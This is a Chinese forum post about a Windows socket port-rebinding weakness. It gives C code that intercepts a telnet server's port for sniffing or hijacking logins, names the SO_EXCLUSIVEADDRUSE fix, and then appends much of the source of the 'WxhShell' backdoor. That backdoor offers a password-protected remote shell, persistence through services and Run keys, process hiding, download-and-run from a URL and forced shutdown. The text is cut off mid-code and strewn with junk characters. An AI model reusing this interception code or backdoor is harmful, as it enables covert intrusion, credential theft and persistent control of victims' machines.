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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jq=00fcT+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0[V&8\S~'T  
VV?]U$  
  saddr.sin_family = AF_INET; Y0@'za^y  
yJF 2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .Ln;m8  
`l+ >iM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FYp|oD2=1  
gsLr=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ov?.:M  
"}0)YRz%  
  这意味着什么?意味着可以进行如下的攻击: +R2^* *<  
a];BW)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I~d#p ]>  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mGt\7&`  
NE$VeW+@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #=`FM:WH  
}l,T~Pjb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zY]Bu-S3  
CWE Ejl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6W)xj6<@  
*eHA: A_I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /d{glOk  
T r SN00  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J!=](s5|  
!T<z'zZU  
  #include ` (7N^@  
  #include zWF 5m )-  
  #include )9; (>cdl  
  #include    ?l6>6a7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C>.]Bvg  
  int main() Py|H? ,6=  
  { @/CRIei  
  WORD wVersionRequested; C_;HaQiu  
  DWORD ret; <{$ ev&bQ  
  WSADATA wsaData; RY\{=f  
  BOOL val; KU1+<OCh  
  SOCKADDR_IN saddr; b}ySZlmy  
  SOCKADDR_IN scaddr; K)yCrEZ  
  int err; "WF( 6z#  
  SOCKET s; >{O[t2&  
  SOCKET sc; e#l*/G*,  
  int caddsize; g0^~J2sDd  
  HANDLE mt; >Sc$R0  
  DWORD tid;   &/B2)l6a  
  wVersionRequested = MAKEWORD( 2, 2 ); yf `.%  
  err = WSAStartup( wVersionRequested, &wsaData ); 3S[w'  
  if ( err != 0 ) { xaGVu0q  
  printf("error!WSAStartup failed!\n"); T^/Gj|N*  
  return -1; xB?S#5G}  
  } JIyBhFI  
  saddr.sin_family = AF_INET; ddUjs8VvJ  
   `U {o:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {toyQ)C7  
qR [}EX&3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =q_&* '  
  saddr.sin_port = htons(23); 8C*6Fjb#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ft3N#!ubl  
  { Ck ~V5  
  printf("error!socket failed!\n"); t] n(5!L(  
  return -1; PphR4 sIM  
  } Eg@R[ ^T  
  val = TRUE; =$"zqa.B6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |y{; |K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~[ d=s  
  { '+ o:,6  
  printf("error!setsockopt failed!\n"); /3)YWFZZc  
  return -1; u~/M  
  } }XfS#Xr1aV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o9U0kI=W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GN htnB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s`8M%ZLu  
OYqYI!N/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L Q I: ]d  
  { ) xfc-Q  
  ret=GetLastError(); TEaD-mY3  
  printf("error!bind failed!\n"); -4*'WzWr  
  return -1; l }2%?d  
  } gFWEodx,9  
  listen(s,2); "!%w9  
  while(1) &%f]-=~  
  { 3b g4#c  
  caddsize = sizeof(scaddr); b qg]DO$*  
  //接受连接请求 @e.OU(Bf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O?C-nw6kP  
  if(sc!=INVALID_SOCKET) yNhscAMNn  
  { AiyvHt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); , 6EZb[;g^  
  if(mt==NULL) U}RS*7`  
  { 48 c D3w  
  printf("Thread Creat Failed!\n"); !LHzY(  
  break; [6,]9|~  
  } H0D>A<Ue  
  } X]JpS  
  CloseHandle(mt); :|n>H+Y  
  } 0p:ClM 2O  
  closesocket(s); j,|1y5f  
  WSACleanup(); p0[,$$pM  
  return 0; |"Xi%CQ2  
  }   E]u'MX  
  DWORD WINAPI ClientThread(LPVOID lpParam) .WL\:{G8;  
  {  =BqaGXr  
  SOCKET ss = (SOCKET)lpParam; !_XU^A>  
  SOCKET sc;  \pewbu5^  
  unsigned char buf[4096]; A]tf>H#1  
  SOCKADDR_IN saddr; eZR8<Z %  
  long num; 9Th32}H  
  DWORD val; e\d5SKY  
  DWORD ret; [5RFQ!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E1l\~%A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4PO%qO  
  saddr.sin_family = AF_INET; yv!''F:9F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TzevC$m;z  
  saddr.sin_port = htons(23); X5L(_0?F1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |7S4;  
  { 7kX7\[zN  
  printf("error!socket failed!\n"); 2vh!pez_  
  return -1; 9?g]qy,1)  
  } (:fE _H2z  
  val = 100; zCGmn& *M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZyS;+"  
  { 7?Qt2tr  
  ret = GetLastError(); h87L8qh9  
  return -1; h-2E9Z  
  } OU)p)Y_z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mf*9^}l+Zn  
  { G>q{~HE1  
  ret = GetLastError(); s!j(nUd/  
  return -1; Eis%)oE  
  } `G ;Lz^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ArmL,  
  { \[IdR^<YM  
  printf("error!socket connect failed!\n"); +%Bf y4F6  
  closesocket(sc); WB=<W#?w7%  
  closesocket(ss); ?G>5 D`V  
  return -1; nIT^'  
  } Kc9mI>uH  
  while(1) 4ye`;hXy  
  { ?(,5eg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e&H<lT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (1elF)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XftJ=  *  
  num = recv(ss,buf,4096,0); i"sYf9,  
  if(num>0) N}l]Ilm$34  
  send(sc,buf,num,0); 3Q*RR"3  
  else if(num==0) uZ0 $s$  
  break; SRG!G]?-  
  num = recv(sc,buf,4096,0); !7ZfT?&  
  if(num>0) bW 86Iw  
  send(ss,buf,num,0); Iu1Sj`A  
  else if(num==0) 3|83Jnh  
  break; t0asW5f  
  } t5jhpPVf  
  closesocket(ss);  ,3@15j  
  closesocket(sc); :|m~<'g  
  return 0 ; vY0V{u?J  
  } #hE3~+ i  
o$blPTN  
,I2re G  
========================================================== jC/JiI  
(;2J(GZ:$U  
下边附上一个代码,,WXhSHELL {ck  
>uPde5"ZF-  
========================================================== J%Z)#  
4na4Jsq{  
#include "stdafx.h" vU$O{|J  
qs c-e,rl  
#include <stdio.h> >nIcF m  
#include <string.h> 0m+5Zn  
#include <windows.h> ~g4rGz  
#include <winsock2.h> Q 5Ghki  
#include <winsvc.h> "PX3%II  
#include <urlmon.h> 9Pob|UA  
!iitx U  
#pragma comment (lib, "Ws2_32.lib") EkjK92cF  
#pragma comment (lib, "urlmon.lib") kkE)zF   
$NGtxZp  
#define MAX_USER   100 // 最大客户端连接数 <0Egkz3s  
#define BUF_SOCK   200 // sock buffer aji~brq  
#define KEY_BUFF   255 // 输入 buffer : 7DVc&0  
^0ZKHR(}e  
#define REBOOT     0   // 重启 j=jrzG+`  
#define SHUTDOWN   1   // 关机 E'BH7JV  
eR* ]<0=  
#define DEF_PORT   5000 // 监听端口 #`#aSqGmc  
dW^_tzfF7  
#define REG_LEN     16   // 注册表键长度 $L#Z?76v  
#define SVC_LEN     80   // NT服务名长度 w7t"&=pF7  
A6x_!  
// 从dll定义API fkv{\zN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N>6yacTB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u.L8tR:(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ! ^*;c#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u&d v[  
Yq hz(&*)  
// wxhshell配置信息 ! ?U^+)^$  
struct WSCFG { Mevyj;1t  
  int ws_port;         // 监听端口 Pl5NHVr  
  char ws_passstr[REG_LEN]; // 口令 Uo[5V|>X6  
  int ws_autoins;       // 安装标记, 1=yes 0=no '3_B1iAv  
  char ws_regname[REG_LEN]; // 注册表键名 = a.n`3`Q  
  char ws_svcname[REG_LEN]; // 服务名 v!RB(T3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]BQWA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hPXVPLm7I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a9EI7pnq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *~<]|H5~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7@y!R   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b5 C}K  
v"('_!  
}; q;a*gqt   
;pNbKf:  
// default Wxhshell configuration *sIG&  
struct WSCFG wscfg={DEF_PORT, l[\,*C  
    "xuhuanlingzhe", ?nGf Wx^  
    1, %:;[M|.  
    "Wxhshell", K"6+X|yxE  
    "Wxhshell", 6!Ji>h.Ak  
            "WxhShell Service", _:=OHURc  
    "Wrsky Windows CmdShell Service", gK#fuQ$hH  
    "Please Input Your Password: ", x< y[na  
  1, fJ"~XTN}T  
  "http://www.wrsky.com/wxhshell.exe", L+ETMk0  
  "Wxhshell.exe" QGz3id6  
    }; pQMpkAX  
H.mQbD`X  
// 消息定义模块 @61N[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _BLSI8!N@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >5vl{{,$K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; er7/BE&  
char *msg_ws_ext="\n\rExit."; Q.E^9giC  
char *msg_ws_end="\n\rQuit."; =jv$ 1  
char *msg_ws_boot="\n\rReboot..."; [qD<U%Hi  
char *msg_ws_poff="\n\rShutdown..."; "T1#*"{j  
char *msg_ws_down="\n\rSave to "; H- qP>:  
t?H;iBrpxd  
char *msg_ws_err="\n\rErr!"; nTy,Jml  
char *msg_ws_ok="\n\rOK!"; 8YLZ)k'  
t5v)6|  
char ExeFile[MAX_PATH]; w@$o  
int nUser = 0; *rFbehfH  
HANDLE handles[MAX_USER]; )%@WoBRj  
int OsIsNt; !#4HGjPI  
kR~4O$riG  
SERVICE_STATUS       serviceStatus; mF:s-+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DHNii_w4v  
lGHu@(n<  
// 函数声明 {ugKv?e ;  
int Install(void); H6\ x.J^,  
int Uninstall(void); ihY^~  
int DownloadFile(char *sURL, SOCKET wsh); ecI 2]aKi  
int Boot(int flag); Qnb?hvb"d  
void HideProc(void); +ET  
int GetOsVer(void); . .je<   
int Wxhshell(SOCKET wsl); G@<lwnvD*J  
void TalkWithClient(void *cs); uZ?CVluP  
int CmdShell(SOCKET sock); j72] _G  
int StartFromService(void); +P)[|y +e  
int StartWxhshell(LPSTR lpCmdLine); nV xMo_  
^8*SCM_A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s!fY^3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'xXqEwi4  
w |FV qX  
// 数据结构和表定义 Y+`-~ 88  
SERVICE_TABLE_ENTRY DispatchTable[] = #|1QA3KzO  
{ 8=o5;]Cg  
{wscfg.ws_svcname, NTServiceMain}, eh/OCzWH  
{NULL, NULL} -R \ @W q@  
}; k3.p@8@:  
T9<nD"=:  
// 自我安装 ?BvI/H5d  
int Install(void) +4nR&1z$  
{ D#[ :NXahn  
  char svExeFile[MAX_PATH]; mXM>6>;y  
  HKEY key; FY}*Z=D%  
  strcpy(svExeFile,ExeFile); yB{o_1tc  
v/+}FS=  
// 如果是win9x系统,修改注册表设为自启动 2(J tD  
if(!OsIsNt) { VEKITBs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :k/U7 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {u6fa>R&$  
  RegCloseKey(key); 6|qvo+%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y4!q 1]TGX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'nt,+`.y6  
  RegCloseKey(key); gH55c aF<  
  return 0; CWsv#XOg]  
    } 7kpW 1tjY  
  } FS+^r\)  
} rAw1g,&  
else { NKhR%H  
#$B,8LFz,$  
// 如果是NT以上系统,安装为系统服务 yzR=:0J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U`_vF~el~  
if (schSCManager!=0) ZDJWd=E  
{ KY&,(z   
  SC_HANDLE schService = CreateService D\*_ulc]  
  ( >Io7h#[u  
  schSCManager, xxcDd_z  
  wscfg.ws_svcname, }V,M0b>  
  wscfg.ws_svcdisp, HMd)64(  
  SERVICE_ALL_ACCESS, "Am0.c/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +p6\R;_E  
  SERVICE_AUTO_START, 3CPOZZ  
  SERVICE_ERROR_NORMAL, @W- f{V  
  svExeFile, /l%qq*Ew  
  NULL, 'c{]#E1}  
  NULL, &U)s%D8e;d  
  NULL, CHP6H}#|g  
  NULL, ZM, ^R?e  
  NULL iB`]Z@ZC  
  ); A0u:Fm{E  
  if (schService!=0)  8\ ;G+  
  { -\C6j  
  CloseServiceHandle(schService); Qnx92   
  CloseServiceHandle(schSCManager); o xu9v/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K05Y;URbd  
  strcat(svExeFile,wscfg.ws_svcname); Qs X59d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;*H~Yb0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >F_Ne)}qTQ  
  RegCloseKey(key); %GiO1:t  
  return 0; ua-|4@YO  
    } yOzKux8kB  
  } Ao0PFY  
  CloseServiceHandle(schSCManager); E9-'!I!  
} x#mk[SV  
} t3JPxg]0k'  
(kOv  
return 1; tah%jRfT&  
} =Fl4tY#X  
wh+ibH}@!  
// 自我卸载 FY*0gp  
int Uninstall(void) Jo+C!kc  
{ bl-s0Ax-  
  HKEY key; jk}PucV  
GFkte  
if(!OsIsNt) { c &(,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lb 4!N` l  
  RegDeleteValue(key,wscfg.ws_regname); P"@^'yR5WK  
  RegCloseKey(key); S`@*zQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RUh{^3;~  
  RegDeleteValue(key,wscfg.ws_regname); y36aoKH  
  RegCloseKey(key); 7Apbi}")  
  return 0; "T=LHjE  
  } UF&Wgj [  
} x:lf=D lA  
} l= S_#  
else { ]+9:i!s  
U5 "v1"Ec  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Sh5o'D28  
if (schSCManager!=0) jzMGRN/67  
{ HbVm O]#$D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OXV@LYP@  
  if (schService!=0) k]5L\]>y  
  { sH: &OaA  
  if(DeleteService(schService)!=0) { {v 0(0  
  CloseServiceHandle(schService); h(sKGCG  
  CloseServiceHandle(schSCManager); i.4[]f[/h  
  return 0; R~-q! nC  
  } =@l5He.]&  
  CloseServiceHandle(schService); -bfd><bs  
  } [' 1?'*  
  CloseServiceHandle(schSCManager); *E_= 8OV  
} f |5|n>*  
} &>+Z$ZD  
r:-WfDz.  
return 1; Z3{Qtysuv3  
} 3i~{x[Jc  
r'?&VS-Cj  
// 从指定url下载文件 t$iU|^'uV  
int DownloadFile(char *sURL, SOCKET wsh) D40VJ3TUc  
{ P 'k39  
  HRESULT hr; H/f= 2b  
char seps[]= "/"; &pl;U\dc*a  
char *token; UU`qI}Ys8F  
char *file; ]F! h~>  
char myURL[MAX_PATH]; A???s,F_  
char myFILE[MAX_PATH]; 6j#5Ag:  
Qz;" b!  
strcpy(myURL,sURL); rE~O}2a#H  
  token=strtok(myURL,seps); %SXqJW^:  
  while(token!=NULL) r; !us~  
  { 5S bSz!s`$  
    file=token; 8~&v\GDkF  
  token=strtok(NULL,seps); Xw)+5+t"{  
  } s]OXB {M  
0@;E8^pa  
GetCurrentDirectory(MAX_PATH,myFILE); IRB;Q(Z   
strcat(myFILE, "\\"); ?zqXHv#x  
strcat(myFILE, file); Gr?gHAT  
  send(wsh,myFILE,strlen(myFILE),0); P6rL;_~e  
send(wsh,"...",3,0); S)?B  I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '#?hm-Ga  
  if(hr==S_OK) p9J(,}  
return 0; l[Oxf|  
else X3vrD{uNU  
return 1; `h#JDcT;a  
L^}kwu#  
} wB{-]\H`\  
nor`w,2VF  
// 系统电源模块 GEgf_C!%@  
int Boot(int flag) yMxS'j1  
{ _G`aI*rKsy  
  HANDLE hToken; ?jnEHn  
  TOKEN_PRIVILEGES tkp; x g@;d  
.w&Z=YM  
  if(OsIsNt) { ?##GY;#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oT w1w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O"GzeEY7  
    tkp.PrivilegeCount = 1; ZN^Q!v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EBm\rM8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xgVt0=q  
if(flag==REBOOT) { U*t `hn-xs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f,*e?9@;s  
  return 0; y|ZJ-[qg  
} ;F5%X\ t-  
else { klKt^h-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yL1\V7GI{[  
  return 0; XUWza=BR"  
} @EvnV.  
  } MwZ`NH|n3"  
  else { nr}H;wB  
if(flag==REBOOT) { v{+*/NQ_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +%^D)   
  return 0; [@)|j=:i:  
} 4 Q.70  
else { O<5bsKw'r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qw ED>G|  
  return 0; ZtiOf}@i\  
} &E~7ty'  
} m-K6y7t  
_IGQ<U<z  
return 1; aG!!z>  
} ^?,/_3  
g.'4uqU  
// win9x进程隐藏模块 #~Q0s)Ze  
void HideProc(void) ax$0J|}7  
{ cuHs`{u@P  
y}|zH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tfsG P]9$  
  if ( hKernel != NULL ) DvGtO)5._  
  { %PQC9{hUy$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N4r`czoj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lVt gg?  
    FreeLibrary(hKernel); 8K$:9+OY  
  } 9r!%PjNvE  
cB TMuDT_  
return; LY"/ Q  
} [}Nfs3IlBw  
(jXgJ" m  
// 获取操作系统版本 ?tOzhrv  
int GetOsVer(void) ;2$^=:8  
{ WWY9U  
  OSVERSIONINFO winfo; F4@h} T5)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ][9M_.  
  GetVersionEx(&winfo); nt4>9;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +I U]=qS  
  return 1; ( mycUU%  
  else @$aCUJ/mE  
  return 0; 6w54+n  
} ,]+6kf5  
y8sI @y6  
// 客户端句柄模块 E~24b0<7  
int Wxhshell(SOCKET wsl) 1}N5WBp  
{ Z)HQlm  
  SOCKET wsh; 5(,WN  
  struct sockaddr_in client; sUA)I%Q!  
  DWORD myID; om(#P5cSM;  
1m&(3% #{  
  while(nUser<MAX_USER) 4aGHks8Z,\  
{ #fwG~Q(  
  int nSize=sizeof(client); Ts^IA67&<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H|Eu,eq-E  
  if(wsh==INVALID_SOCKET) return 1; ,5nrovv  
\aG>(Mr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R+5x:mpHy  
if(handles[nUser]==0) 4bmpMF-  
  closesocket(wsh); =U?"#   
else K,J:i^2  
  nUser++; ~;{)S}U@R  
  } \wM r[_LW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H>VuUH|  
S\Q/ "Y  
  return 0; g5H+2lSC  
} M6?*\ 9E  
!X8:#a(  
// 关闭 socket a7ZPV1k  
void CloseIt(SOCKET wsh) kfn5y#6NZ  
{ pbu8Ib8z  
closesocket(wsh); Z_S~#[\7^]  
nUser--; {BgGG@e  
ExitThread(0); wAITE|H<zj  
} Zl]\sJ1"  
cU+/I>V  
// 客户端请求句柄 #Ez>]`]TB  
void TalkWithClient(void *cs) ms<?BgCSz  
{ , !c.  
8K{ TRPy  
  SOCKET wsh=(SOCKET)cs; 5pz%DhjLo  
  char pwd[SVC_LEN]; 4e9mN~  
  char cmd[KEY_BUFF]; @HR]b^2E  
char chr[1]; WPLAh_fe  
int i,j; m39 `f,M  
;/$zBr`'  
  while (nUser < MAX_USER) { =d`,W9D  
gVk_<;s  
if(wscfg.ws_passstr) { m"NZ;*d'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ><dSwwu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :v=Yo  
  //ZeroMemory(pwd,KEY_BUFF); JhIgq W2  
      i=0; m>~%. (/x  
  while(i<SVC_LEN) { {p+7QlgK  
10{ZW@!7  
  // 设置超时 *s<FEF  
  fd_set FdRead; y$7<ZBG  
  struct timeval TimeOut; n a_Y<R`  
  FD_ZERO(&FdRead); UV$v:>K#  
  FD_SET(wsh,&FdRead); /wVrr%SN  
  TimeOut.tv_sec=8; J)6f"{} &  
  TimeOut.tv_usec=0; l$z\8]x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +U% = w8b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kr!8H/Z  
IZoa7S&t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x)h5W+$  
  pwd=chr[0]; `A])4q$  
  if(chr[0]==0xd || chr[0]==0xa) { j!xt&t4D  
  pwd=0; 1 f).J  
  break; /X {:~*.z  
  } 6MqJy6  
  i++; \|RP-8  
    } LS*^TA(I[  
E$T)N U\  
  // 如果是非法用户,关闭 socket Op A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q3#07o_dV  
} kK>PFk(  
P'xq+Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ojni+}>_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9;NR   
*^ g7kCe(  
while(1) { T]Pp\6ff  
L]I)E` s  
  ZeroMemory(cmd,KEY_BUFF); 5v<BB`XWp  
_0<qS{RW  
      // 自动支持客户端 telnet标准   XOAZ  
  j=0; .A//Q|ot!  
  while(j<KEY_BUFF) { <:fjWy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dnSjXyjFB  
  cmd[j]=chr[0]; Ni7~ Mjjt  
  if(chr[0]==0xa || chr[0]==0xd) { 9K-=2hvv  
  cmd[j]=0; q4C$-W%rj  
  break; HNu/b)-Rb  
  } |9$K'+'  
  j++; t 5g@t0$  
    } wK!4:]rhG  
18jI6$DY  
  // 下载文件 7;ZSeQ yC  
  if(strstr(cmd,"http://")) { +pURF&Pr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^(r?k_i/  
  if(DownloadFile(cmd,wsh)) Yh\ } i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0.Pd,L(  
  else OB FG!.)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x|&A^hQ  
  } <E[X-S%&  
  else { s~W:N .}*  
s>~ h<B  
    switch(cmd[0]) { +}@1X&v:  
  b`)^Ao:  
  // 帮助 +ffs{g{  
  case '?': { %}t.+z(S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dcew`$SJp  
    break; h(*!s`1  
  } { AdPC?R`  
  // 安装 gpB3\  
  case 'i': { Q&S\?cKe  
    if(Install()) ]-FK6jw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?K]0j;  
    else ]~iOO %&R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 481J=8H  
    break; q{?Po;\D  
    } YtI 2Vr/9  
  // 卸载 7vax[,a I  
  case 'r': { #0V$KC*>  
    if(Uninstall()) wyvrNru<l4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)t ]av  
    else {p@uH<)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ve;#o<  
    break; a/Z >-   
    } }c?/-ab>  
  // 显示 wxhshell 所在路径 q'{LTg0kk  
  case 'p': { 3eX;T +|o  
    char svExeFile[MAX_PATH]; |7KW'=O  
    strcpy(svExeFile,"\n\r"); PZmg7N  
      strcat(svExeFile,ExeFile); Q$ r1beA  
        send(wsh,svExeFile,strlen(svExeFile),0); Vw0cf;  
    break; u?6L.^Op  
    } gx~79;6  
  // 重启 /ZlPEs)  
  case 'b': { 0 UdAF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b.V\E Ok  
    if(Boot(REBOOT)) X;25G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^o^[p %  
    else { r^3/Ltd5/  
    closesocket(wsh); 7.@$D;L9  
    ExitThread(0); tCH4-~,#  
    } OW!cydA-  
    break; .4DX/~F  
    } ~7a(KJgvd"  
  // 关机 GZXBzZ}  
  case 'd': { BBnW0vAZ*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =g| e- XC  
